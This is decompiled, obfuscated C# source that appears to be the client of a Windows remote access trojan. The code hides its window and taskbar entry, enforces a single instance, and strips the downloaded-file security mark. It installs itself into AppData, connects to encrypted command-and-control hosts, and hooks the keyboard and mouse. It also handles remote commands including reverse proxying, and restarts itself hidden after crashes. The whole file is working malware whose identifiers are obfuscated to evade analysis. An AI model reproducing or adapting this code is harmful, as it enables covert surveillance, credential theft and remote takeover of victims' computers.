using System;
using System.CodeDom.Compiler;
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.ComponentModel;
using System.Configuration;
using System.Diagnostics;
using System.Drawing;
using System.Drawing.Imaging;
using System.Globalization;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Management;
using System.Net;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Reflection;
using System.Resources;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Json;
using System.Runtime.Versioning;
using System.Security;
using System.Security.Cryptography;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Timers;
using System.Web;
using System.Windows.Forms;
using Costura;
using Gma.System.MouseKeyHook;
using InvokedCommon;
using InvokedCommon.Cryptography;
using InvokedCommon.DNS;
using InvokedCommon.Enums;
using InvokedCommon.Extensions;
using InvokedCommon.Helpers;
using InvokedCommon.IO;
using InvokedCommon.MessageHandlers;
using InvokedCommon.Messages;
using InvokedCommon.Messages.ReverseProxy;
using InvokedCommon.Models;
using InvokedCommon.Networking;
using InvokedCommon.ReverseProxy;
using InvokedCommon.Utilities;
using InvokedCommon.Video;
using InvokedCommon.Video.Codecs;
using Microsoft.Win32;

[assembly: CompilationRelaxations(8)]
[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.IgnoreSymbolStoreSequencePoints)]
[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4.8")]
[assembly: AssemblyVersion("0.0.0.0")]
internal class <Module>
{
	static <Module>()
	{
		AssemblyLoader.Attach(subscribe: true);
	}
}
internal interface 㖕\uecc7祬擬㇡\ue555凖㈶돗敔Ꮔ⸴ૡ⁜\u0358烱ᶅ묤콼蠢
{
}
public class 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚 : Form
{
	public 긥\uef78\ue513옱祶⪎䬑嘘\ua8c0ȶ⢧짶䧇鳭㴯ᡢ푢㔗\ua881聆 㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b;

	private \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷;

	private readonly List<IMessageProcessor> 袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞;

	public List<string> 汥ᯋ佣ﮟ\u0086诧뀇祁푭�䠱舘⹗㘘悭龾컳쁊롪�;

	private ᦨ䶔㼣腔茝છ\uea46뛁玲祂泯Ꝫ펥⼑礏编ꢓꕢⴠ퀽 㣬杚摾膠⸠ᮝ군㣢≧鰹楴糋\uea41㽢戉Д\u0d99�⊘ꊙ;

	private 瓛顯靫ꝃ퇍홶Ĭ讆ꦎＵ碅륮\uf19d\uf1e0\u0302腏欣焀⸺輋 竀湿儥롿懑\u0b03犕\ua7de\uf47cᅳ\u08d5ꖼ秽炉ᦃ\ue70b㩾썄\u0f80秗;

	private readonly NotifyIcon 낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟;

	private bool IsInstallationRequired
	{
		get
		{
			if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ꅜ掙具雎\uf2ab殥엃\uf893ⓗ괻\ue1c7藗阙�䳐\ua953婸탲듔윻)
			{
				return 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㼔�เ쟥눝쫕ꑭ뵤\uef29욿\ued75씪渺�졇㋋㏢íᶏ䟍 != Application.ExecutablePath;
			}
			return false;
		}
	}

	public 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚()
	{
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Expected O, but got Unknown
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞 = new List<IMessageProcessor>();
		汥ᯋ佣ﮟ\u0086诧뀇祁푭�䠱舘⹗㘘悭龾컳쁊롪� = new List<string>();
		낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟 = new NotifyIcon();
	}

	protected override void OnLoad(EventArgs e)
	{
		((Control)this).Visible = false;
		((Form)this).ShowInTaskbar = false;
		㓬弥캆ψ養ꅬ䗍�忬닊\uef6e䔍苖抺ɮ娐묫\uf475辫묹();
		((Form)this).OnLoad(e);
	}

	public void 㓬弥캆ψ養ꅬ䗍�忬닊\uef6e䔍苖抺ɮ娐묫\uf475辫묹()
	{
		//IL_0095: Unknown result type (might be due to invalid IL or missing references)
		//IL_00a4: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b3: Expected O, but got Unknown
		//IL_00c5: Unknown result type (might be due to invalid IL or missing references)
		//IL_00cf: Expected O, but got Unknown
		if (!泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㿰픺꿐Ź纙ᗙ퓙ꔹ媨ㆀ꼬\u1ff0걭ᘄ銪슄適蓍\ue06e\uf06b())
		{
			Environment.Exit(1);
		}
		㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b = new 긥\uef78\ue513옱祶⪎䬑嘘\ua8c0ȶ⢧짶䧇鳭㴯ᡢ푢㔗\ua881聆(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.㈊싚妆�\ua948띛\uf2d7ﹺᡏ某禄偻及贚ʈ菁\ufe6f�⋂\uea1f);
		if (!㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b.CreatedNew)
		{
			Environment.Exit(2);
		}
		FileHelper.DeleteZoneIdentifier(Application.ExecutablePath);
		誹挦ꗨ뜱䊺ȇꓓ\u1ade鄕�뛗嵀啨꺋Ｂ⬁鯧锖맃\u0dce obj = new 誹挦ꗨ뜱䊺ȇꓓ\u1ade鄕�뛗嵀啨꺋Ｂ⬁鯧锖맃\u0dce();
		if (IsInstallationRequired)
		{
			㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b.Dispose();
			try
			{
				obj.傠뙙ࢯ讪ᐡ�\ue556梏䄴鶴洋禽瞃낮�鍘䄣剼懍䘗();
				Environment.Exit(3);
				return;
			}
			catch (Exception)
			{
				return;
			}
		}
		try
		{
			obj.\u102f嘛儱馧厲\ueb40鷦솝\u085f\ue80bか㉰㵋육畓䠊슓秢꽝噲();
		}
		catch (Exception)
		{
		}
		if (泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.夬\ued19\u1de6ꏄ쥇즯镜〴┋幱鬸䏰힃\uf1b1㶙浂Ж햐녲贼)
		{
			㣬杚摾膠⸠ᮝ군㣢≧鰹楴糋\uea41㽢戉Д\u0d99�⊘ꊙ = new ᦨ䶔㼣腔茝છ\uea46뛁玲祂泯Ꝫ펥⼑礏编ꢓꕢⴠ퀽();
			㣬杚摾膠⸠ᮝ군㣢≧鰹楴糋\uea41㽢戉Д\u0d99�⊘ꊙ.㜡効ꎂཀྵ돆㡖⠽\uf6d9○覊㩉㺬梖ﾌ幬皕\u1bac憎\u0eef觮();
		}
		ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷 = new \uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混(new HostsManager(new HostsConverter().RawHostsToList(泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.ꩣ嫨겺ﺘ梥깛㶭⹎楜⪎ﳥ畔\uead9\uf3ca㬩\u1fd4⻮睙ﻳ崃)), 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.搢墝﹇ᒪ瀳䝈뷙싏抛\u06dd椦뉆礵\ufdddꢊ붜渽⢲\ue1d3䀚);
		((Client)ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷).ClientState += new ClientStateEventHandler(枾\ue317탉瑥矼卡핕⠇\u139b䂨茧ǂ愅�蚙곲ꂒ줷鐹巃);
		\ue39f架䏳Ổ餆\ufdd7阻\u0eeaừ㿓\u06ed啙ﭏ孷춆穈䧤葑䬵魹(ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷);
		竀湿儥롿懑\u0b03犕\ua7de\uf47cᅳ\u08d5ꖼ秽炉ᦃ\ue70b㩾썄\u0f80秗 = new 瓛顯靫ꝃ퇍홶Ĭ讆ꦎＵ碅륮\uf19d\uf1e0\u0302腏欣焀⸺輋(ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷);
		竀湿儥롿懑\u0b03犕\ua7de\uf47cᅳ\u08d5ꖼ秽炉ᦃ\ue70b㩾썄\u0f80秗.〿ﵨ纠൘詊뜚ጒ颱줋箊\uf310䤠吲ڃ䱈ཎ혖呷庒셞();
		new Thread((ThreadStart)delegate
		{
			ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷.ꔜ邅暕惙紕痧쳣ҵ�싸ʻ恧볽鉼䧞뮀㍪頕텞뚧();
			Environment.Exit(0);
		}).Start();
	}

	private void 枾\ue317탉瑥矼卡핕⠇\u139b䂨茧ǂ愅�蚙곲ꂒ줷鐹巃(Client s, bool connected)
	{
		if (connected)
		{
			낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟.Text = "Client\nConnection established";
		}
		else
		{
			낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟.Text = "Client\nNo connection";
		}
	}

	private void \ue39f架䏳Ổ餆\ufdd7阻\u0eeaừ㿓\u06ed啙ﭏ孷춆穈䧤葑䬵魹(\uf42f⫎ᢎ⢶䣅䑑㠬⥫４\u1df1봡ߜ눥�꺅⇶퀺\ue4b8峭混 client)
	{
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 虓ᅔ꾂粒鴲믭섈⺗�䳔⻆ᗭ⏍\u0aba⏵欟째뜄뉭�(this, client));
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new ⬑瞣匉′橬畛跆떇闊韣\ue1ddё\uf430涡餢\u009e쨆枆螡ℭ(client));
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 俌䣁챺⥺ᚽ\ufaf8ਇ傕\ue464枯䪼趆퍮영䌈\u0fb3\ue785⬈低境());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 䨆輯䞾\u0de5�썝퀖ᒿ䑣᭵य\ue634塆쩒昶嗢뀖鯶ಣ졕());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new ͱ䚽ወ垹ঔ럥䧀鼲\ued7b笵鿕䄹硠䩡뼌\uef62퓇㔥쀻ꄏ());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 琕ߎ\uea9f뚲ꛬ哴圞죶껍徜ᙍ㙮漏茤ꍷ盔귍�왍鵘(client));
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 療㉘\u2d98ú뙭쉺\uf052懿䜓牖剠⼺쪺䆿瞔ኖ촂儴탈㩶(client));
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new \uf5d9쌩싔﵈Ƽ\ue2fb蘆蚲⚤㬯\ufb1a緒䓖犥Ὸ护\uf0de䳅᨞\u0345());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new ◥評崿Ꚉꢑᴑ╒뮰üၐ嵺糲㭪⨹ꮆ臎蛽㹕幾ᘒ());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 쬓\uebb3泅\u07b9渊\ue574\ueed3꧃㬥覫な貋偡ᖑ\u081cϡ�璗椸宿());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new \uef3c\u0fa2뚔뫾ᘅ\ue20bꤌ쒄ᗊ\ue658뼼濦\uf894㺓埭鬊䎑\ue0b0롺\u2daf(client));
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 膮唋\uf7a1䳢芵\ue4d8䢚瞺趫㈹♇빞频耳优ꅍ�跣⸧騒());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 蚜㏄ﲿᾣ芏ꍃꪄ蓄⣱㒚\uf01e\uf5e1烅㳝瞅ꚠ啛\uec33ꥮ璜());
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add((IMessageProcessor)(object)new 㼗ㆣϷ⅏ᚋ猘궷�恨妻�䕚텍ꓬ辯廒捆嚣䬄\uec83(client, this));
		foreach (IMessageProcessor item in 袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞)
		{
			MessageHandler.Register(item);
			NotificationMessageProcessor val = (NotificationMessageProcessor)(object)((item is NotificationMessageProcessor) ? item : null);
			if (val != null)
			{
				((MessageProcessorBase<string>)(object)val).ProgressChanged += 嶶훼㖳\ue47b緐漧휈朝㼵챳邊\uf75cⵯ䶭\u05ab㥓ﱺ�뵈፶;
			}
		}
	}

	public bool 䮏怘찅㋮䵹倭鮟枳셞䜼뱋\ue08b哎얱阴榊\u0fe6\u1ad2㉝\u0de3(string messageProcessorName)
	{
		return 汥ᯋ佣ﮟ\u0086诧뀇祁푭�䠱舘⹗㘘悭龾컳쁊롪�.Exists((string s) => s.Equals(messageProcessorName, StringComparison.OrdinalIgnoreCase));
	}

	public void 坆䥋奥\uf4f5\uf6da낊铭䏥不\ua8b9ᆌ\uefd4\ue784\u0fe4�ỉ\ue809╰섽ј(IMessageProcessor messageProcessor, string messageProcessorName)
	{
		袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞.Add(messageProcessor);
		汥ᯋ佣ﮟ\u0086诧뀇祁푭�䠱舘⹗㘘悭龾컳쁊롪�.Add(messageProcessorName);
		MessageHandler.Register(messageProcessor);
		NotificationMessageProcessor val = (NotificationMessageProcessor)(object)((messageProcessor is NotificationMessageProcessor) ? messageProcessor : null);
		if (val != null)
		{
			((MessageProcessorBase<string>)(object)val).ProgressChanged += 嶶훼㖳\ue47b緐漧휈朝㼵챳邊\uf75cⵯ䶭\u05ab㥓ﱺ�뵈፶;
		}
	}

	private void 粘ᑖ兛쎱\ufbba疺墳ኂ⺥标嘃\ued08\uf444相輕蓀㷋䗎궅勤()
	{
		foreach (IMessageProcessor item in 袍鵑服ว�➆믹ᆧ쐏璗㽝桹\u0b0d犖拏묛⨝즻쫒栞)
		{
			MessageHandler.Unregister(item);
			NotificationMessageProcessor val = (NotificationMessageProcessor)(object)((item is NotificationMessageProcessor) ? item : null);
			if (val != null)
			{
				((MessageProcessorBase<string>)(object)val).ProgressChanged -= 嶶훼㖳\ue47b緐漧휈朝㼵챳邊\uf75cⵯ䶭\u05ab㥓ﱺ�뵈፶;
			}
			if (item is IDisposable disposable)
			{
				disposable.Dispose();
			}
		}
	}

	private void 嶶훼㖳\ue47b緐漧휈朝㼵챳邊\uf75cⵯ䶭\u05ab㥓ﱺ�뵈፶(object sender, string value)
	{
		_ = 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ.\uea90\ue324ᆿ⌞慾\u17ed\u030d얺짌鋺필ꨚ䈕ட牉�硣鎥煵俈;
	}

	protected override void Dispose(bool disposing)
	{
		if (disposing)
		{
			粘ᑖ兛쎱\ufbba疺墳ኂ⺥标嘃\ued08\uf444相輕蓀㷋䗎궅勤();
			㣬杚摾膠⸠ᮝ군㣢≧鰹楴糋\uea41㽢戉Д\u0d99�⊘ꊙ?.Dispose();
			竀湿儥롿懑\u0b03犕\ua7de\uf47cᅳ\u08d5ꖼ秽炉ᦃ\ue70b㩾썄\u0f80秗?.Dispose();
			㤚邑垳挛읩ㇴⰱ陽\ue3b1틭ضﲼ슺�촎埉뒥킚鋔\uaa3b?.Dispose();
			ⵅ桗墾\uefab靪ﶥꤽ袜阧鿹\uf5b7ᩀ㗥㕄葫❞竒\uf495甫냷?.Dispose();
			낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟.Visible = false;
			((Component)(object)낇덿錜譺\uf808刄쳩對\ue39dꜾ賄礲냻⿺\ueb9d瞔⊂䫭떊彟).Dispose();
		}
		((Form)this).Dispose(disposing);
	}

	private void 軝縍㛬毥콼紁鵗佲趵\uf722ࠋ㤱Հ㶁넀\u202d烹伣븁\ue147()
	{
		((Control)this).SuspendLayout();
		((Form)this).ClientSize = new Size(284, 261);
		((Control)this).Name = "client";
		((Control)this).ResumeLayout(false);
	}
}
public class ꔪ䕢徤裠ꋏ諵䮰瑖첈ᣡ陟→ɟ掸尳尩䋜\ueffb䬾ョ : ApplicationContext
{
	private int 옫탥�᭞浞\ue8f6⚃褺점玥ﴓ㜦ㄣୡﻼ彬瓵緣䛜ㅚ;

	public ꔪ䕢徤裠ꋏ諵䮰瑖첈ᣡ陟→ɟ掸尳尩䋜\ueffb䬾ョ(params Form[] forms)
	{
		//IL_0020: Unknown result type (might be due to invalid IL or missing references)
		//IL_002a: Expected O, but got Unknown
		옫탥�᭞浞\ue8f6⚃褺점玥ﴓ㜦ㄣୡﻼ彬瓵緣䛜ㅚ = forms.Length;
		foreach (Form obj in forms)
		{
			obj.FormClosed += (FormClosedEventHandler)delegate
			{
				if (Interlocked.Decrement(ref 옫탥�᭞浞\ue8f6⚃褺점玥ﴓ㜦ㄣୡﻼ彬瓵緣䛜ㅚ) == 0)
				{
					((ApplicationContext)this).ExitThread();
				}
			};
			((Control)obj).Show();
		}
	}
}
internal static class 푵饻䉨\u17c4倖ḳꇞໟ骈เ\u1df1ᒄ뼪ﲆ⅓ό䌤ዌ㲷셒
{
	[DllImport("user32.dll", EntryPoint = "SetProcessDPIAware")]
	public static extern bool 氁鵚磑\ueadb㦍枈Ⱃ뙗㮱笝ᇙ縗타\uf64f⫸姟樉ᖜ姐䃏();

	[STAThread]
	private static void Main()
	{
		氁鵚磑\ueadb㦍枈Ⱃ뙗㮱笝ᇙ縗타\uf64f⫸姟樉ᖜ姐䃏();
		ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
		Application.SetUnhandledExceptionMode((UnhandledExceptionMode)2);
		Application.ThreadException += \u1ccf調䈸縩\u16fb軓\u0016৶\ueddb麷큖렚湛�跜粇ꉊ鄭\uf3b7鯤;
		AppDomain.CurrentDomain.UnhandledException += \uf5c9\u197e팖ᗔ\ue877쐟绋ᓋ띈ꐬ剌싷䷱뾁믅\uf0ad鋬ᵬ۞∳;
		Application.EnableVisualStyles();
		Application.SetCompatibleTextRenderingDefault(false);
		Application.Run((Form)(object)new 〿雏๏\u2efb椦�䰚\u0a3b殮圲툏櫱⑃멶䭹鱌졅눲⸌㪚());
	}

	private static void \u1ccf調䈸縩\u16fb軓\u0016৶\ueddb麷큖렚湛�跜粇ꉊ鄭\uf3b7鯤(object sender, ThreadExceptionEventArgs e)
	{
		try
		{
			string fileName = 银︼怖〲鿅Ａ띯쫡뱘\uf286爬씜샘蹌\uf5dd롬\ue60a鎄ᝰ穢.㽢❳\u245d풴冧⎖護ﹱ彻纁疌훃籑돘䷏墐Џ샏弉懭(Application.ExecutablePath);
			Process.Start(new ProcessStartInfo
			{
				WindowStyle = ProcessWindowStyle.Hidden,
				UseShellExecute = true,
				FileName = fileName
			});
		}
		catch (Exception)
		{
		}
		finally
		{
			Environment.Exit(0);
		}
	}

	private static void \uf5c9\u197e팖ᗔ\ue877쐟绋ᓋ띈ꐬ剌싷䷱뾁믅\uf0ad鋬ᵬ۞∳(object sender, UnhandledExceptionEventArgs e)
	{
		if (!e.IsTerminating)
		{
			return;
		}
		try
		{
			string fileName = 银︼怖〲鿅Ａ띯쫡뱘\uf286爬씜샘蹌\uf5dd롬\ue60a鎄ᝰ穢.㽢❳\u245d풴冧⎖護ﹱ彻纁疌훃籑돘䷏墐Џ샏弉懭(Application.ExecutablePath);
			Process.Start(new ProcessStartInfo
			{
				WindowStyle = ProcessWindowStyle.Hidden,
				UseShellExecute = true,
				FileName = fileName
			});
		}
		catch (Exception)
		{
		}
		finally
		{
			Environment.Exit(0);
		}
	}
}
public static class 泠ۻ䀺⟼甎㢈寤曦\uee62ኊ笮慎�〣ဪ\ueeefꈿ㇒Ꝕꑬ
{
	public static string 퇢䱷試桿⓪ἔ培ማᒋ㮇」辎槣峅鞗⡌죤\ue505༎\uf21b = "eU+rSDCzfewzkH1qs24YSbUtKWcd2uX5b3PQmYkGKfvglxn6kznGjbygh4xhHRJNl0BLfKynxV3vBhV8HVCxaQ==";

	public static string ꩣ嫨겺ﺘ梥깛㶭⹎楜⪎ﳥ畔\uead9\uf3ca㬩\u1fd4⻮睙ﻳ崃 = "l6HVXq36M9RgCo+Ooilb7/JZjTF6Aapkzxx55Kw1ufdnB/f0ApTuO87K6O1Z71UZSCoYXvfuu/Sxaz+CUfACCm0dISUXTtnHcWKUnU8LPkY=";

	public static int \ue068ᙺ＜ᗐ\ued7cꏬ৶ᙦڦ翣\u0cd9輄ꄮ\u1925㊽⪶샓㔂寍瓉 = 3000;

	public static Environment.SpecialFolder 䨺Ҥ惣匊钎頔ꑽ袙Α㕣⓰┽㭾㎳箺\u0941몝풝\ue598\u02ef = Environment.SpecialFolder.ApplicationData;

	public static string 䩺ǖ髜춉\uf37f饂楜蟏\uf475碍왧鎁\ue5ac\ue8fb榊뀿芽뻵蓯ᾫ = Environment.GetFolderPath(䨺Ҥ惣匊钎頔ꑽ袙Α㕣⓰┽㭾㎳箺\u0941몝풝\ue598\u02ef);

	public static string \ue37f鞡ᢌ\uf138䮇\ue4f8䑞럭鈢\uf4d6䈐梉꿫겟厜궹�频ぅⱦ = "jH5DfrgD69kLOFKJybApOSyrzZNJdIihSofT7OKWFxkitI6utkRC2WstPuns6AcftIzBkJqNnUAW78dwe6QUbA==";

	public static string ᰙ穡룺ײַΩ䩈횿횥鬽⭑※ꋣ딃䞌꽪뵓뷦쑋褸据 = "BjxFwFaiO57CGBB2Cn+h6qxST9L8JvKFrSnvFGPuR1NhTCw1KKbEnsmScfHkLdqYcOEG2srSotgYFzV8Enpblw==";

	public static bool ꅜ掙具雎\uf2ab殥엃\uf893ⓗ괻\ue1c7藗阙�䳐\ua953婸탲듔윻 = false;

	public static bool 燤곬몚Ⓐػ啻砈\ua4cc\uf183樓즡অボ띕道�驯降䞨⪷ = false;

	public static string ㈊싚妆�\ua948띛\uf2d7ﹺᡏ某禄偻及贚ʈ菁\ufe6f�⋂\uea1f = "Ys4cI6Z+RuZSgIs5Yl/IZpwCWpDnp2Hz28fX1v29kJlZZY18Yj9zFI1NH/eJdn/gHipxUvp/T4KRpaCCxYSSe2+Mw0pYK1QUtyIdnac3F90JvH610AtFGVeZhZDk3TVB";

	public static string �봣枦譡ᥛ\u08e1ᣭ䁻ง툼巺斂\ueee6礂뭆୮胙ᡀ\u0a48ᆵ = "rDWIB/w35q3hT4pUnnRQKtBfoo022nm0hFCCYVi1TXXMMbPILDRHUv4AqoBZrOPHGCuY3m3fG9W7bwdM7pRHpM3HFhtrr/+GC848uPSp5NI=";

	public static bool 弙밳咦뮍鵞櫉룕徸ᄥ\uea60ㆲ㚷챓쿪튭ς腞⚵胶䦵 = false;

	public static bool 夬\ued19\u1de6ꏄ쥇즯镜〴┋幱鬸䏰힃\uf1b1㶙浂Ж햐녲贼 = false;

	public static string ࢀ됸鯴춬ô땥\ueebb衞ⱪ暍銋⋄뺱尭措\ue94d䁝९瘬愃 = "7E14CE629DFF54A5B6A7B65ECDFE3F45E17BB135";

	public static string 엮ᣞ᧷濑榥ㆂ펮\u1cdf⠣៹렇灤ꊥ起\uabe9溯輚�⭱늟 = "6rJeuyXTwcWUpnDZcDOUSkbQONS8vGFnjXuWStDOW8XsMJFoOX3MqWh4eYUNesVnLWUsDNNGeuzns4KaOlbsAA==";

	public static string 頒왌弼\ue8e0⪿ퟒ䫊ᒘ璑\u0efe㝬敜緼ギ肀硃棯�ཛ谀 = "vY8e4nkvdqEdM4GQqtJtU10b9OviCb0fccPuiXRNSzCbzRipR9bHOgxXGoSLoim2EnCZZeKQKj9YXN2reoEEsA==";

	public static string 䢫❜\u0fe1�蕓웼Ე䓸蔀홟ᜊ鲻캆絛\uee52\ue0e7鿤㶏됥� = "3fu9D9ft9SlwmLJ7bqdH043kfjRpBnj9dwwNuP7qIt2ObHfbXXRJOj1iT0HodNdJVKoM0iumcqixEj+nBNfHhG6wqhA56csr5L/m8VhW3Zi+V+Vp4/UrnDiUEHJOTSOg7GYfOcSF4jRdO+0J/1XsS0lStwMvX9is+U0cQlrlwrxo53Lz9JtCiCWdClGFVkOutvxIImUt3FHEuQgVMxrVZvM8pP5v1Up27US8zdZpYg2aYDYGG0KikbSM2kYLeRAch5BOIaq3s8ZCOtQFBWma/NbG1WbE4Yt38Rr/hSqo0KIiPyu08N2e3edOe0FeA5HSaiGBgTW12UJtwav//1YrK8aRkSNa8W0GMTD5YYwbuDSZetXsqF7NHcFYh59BMCbE7CS1MdPiIVcZupxzjszpWMhc0VXRPZZEvE5Aw806jAqzP/bL0ZpG4dBW8cWjtwcHA9zKhL05G8X00C+3ZUQLKQHWd8GwteyjQzppXDg4NsML5fNhdT11jsKgYrPWrj7KYOQFEqpu/msBa/fhRRxZ9V5K2JxPMDQKof527vWSdLRdEXRqOj7PCIbef/5y9Af4UIeSuXCJuiQN6mPbxeTuC9k/BDKtBeyohgVSxztPYLKe63V6HMDehRkLnAVouQG9iFXd4WaubSxFzANceWjkvtsxlDKZKFmc3JveOeSssh4bUO67Y6xg/zxS27+Jb1kPX+AHY79g38C94IgLTi1iK7JgsZjeNQy1qFRA23vjI7n/IwwstqsyroKlR5r7iENwOL489f5qZHEhhxogrJqwKGMkdo8ss4RMdlZyPGUKuOUE8rzI7bBo3iBI6N1ujhzhvKQIUrFanLK4sZGFO5CZyrp2ypOwbJgfKiLoIv0ZRwfYSIvGoM6UR6tFZdLrM/vrtdWAT/STGicGS5b8p7tZVvwgSnejZam08L4em97xDsSRYh61D8GO8T2LECbBUcGG/bzg2t7mhi7aGpjfhuvz+fv2jQIC6HjAcRwJuYoxrBvKYCd9gLBezFbr/6YdZQKtJ8AQCBJ9l6chGE7TtMfqPGu4hTqIcNC3aFsJYiRkZca3BTT9HcYtYWiw+EemRrC66Tlyy3fnU8aXRY6jAXeuMPgKvVDTGuJfVZNsj+g5G/3yjaXEcvVgqZQBa7x0fzWhL9HgUlpuO5OdwyXRuIcMdx1DZyjpoxIc/9+0c2lgoXMbE2aL4r1npXzXwAZ+M3oxdMP6Zf+Dx7oINdZfj0bTf9Z3xIEKfjnDWF82UKKkKRW7FCuWtsfwHzigUIxHvdgPIoH5TNuoxH3ewdd+pbDFdWSA9HpLzmLag/aBFBFeeQxThUmJMi+I1jmkkICGN1tqUJE3zpQwqE8kLs2O4sR43kW4O0c8iax3aWLR4GscIld9J3eSYECB9XhsG8TtFeIYNJuPIUgmVRyNITJENWRk61Owu+9ZCVBHHK0F79qLszKz4v+buNYflXENUZ0ioKqz9SgDIR03NxDf3kBFC3KqqENTqEd1vCt7/huHiik+vgaxRSw5e7iZ+/u/9MtqIeiP/xeMmYxqCaeXFTfNflxFObmHGdr5ExMmKyO6W4C9PztBoT+129xDxubLC5xT83tIU1jhIiLEK+nweaMpI87HqkDuGYl41NWRGwfZZUh/dxkguz/QCxGMMEOdPAVSUgjQ5jW6fS4oJrq27QPcwO0zmSQLN421/sGl83NQn9BqXn6RpmCPa3tJrF/FKD7HKD4ceb0+9CQNvYDN48ZgVVRruG/n6CotPcFjwxwLjcEosANFLlLA1AT+SUubJ2fJhwJHuqbQ5hJOfgf3xrykzfGp3BBb/ICam5SJvtbyqRK9GJNm19ivfNbVpAbQkm